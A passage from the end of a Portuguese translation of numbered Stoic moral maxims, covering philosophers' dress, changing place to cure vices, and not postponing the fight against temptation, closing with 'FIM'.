aristocrata, ter um brasão e uma mesa? Pois tampouco, basta, para ser filósofo,
uma grande barba, uma túnica e um bordão. O hábito é conveniente à arte, mas o
nome quem o dá é a arte e não o hábito.

352

           Assim como ordena
a medicina mudança de ares aos que padecem de enfermidades crônicas, prescreve
a filosofia a mesma coisa aos que possuem vícios inveterados, só fortificáveis
pelos lugares em que soem viver.

353

           Quando sofreres
uma tentação, não adies para o dia seguinte combatê-la; o dia seguinte virá, e
o mesmo te sucederá. Assim, de amanhã em amanhã, resultará, não somente seres
vencido, como também caíres numa insensibilidade que te impedirá perceber que
pecas, e em ti experimentarás a verdade do verso de Hesíodo: Infeliz de quem
dorme no amanhã!

FIM

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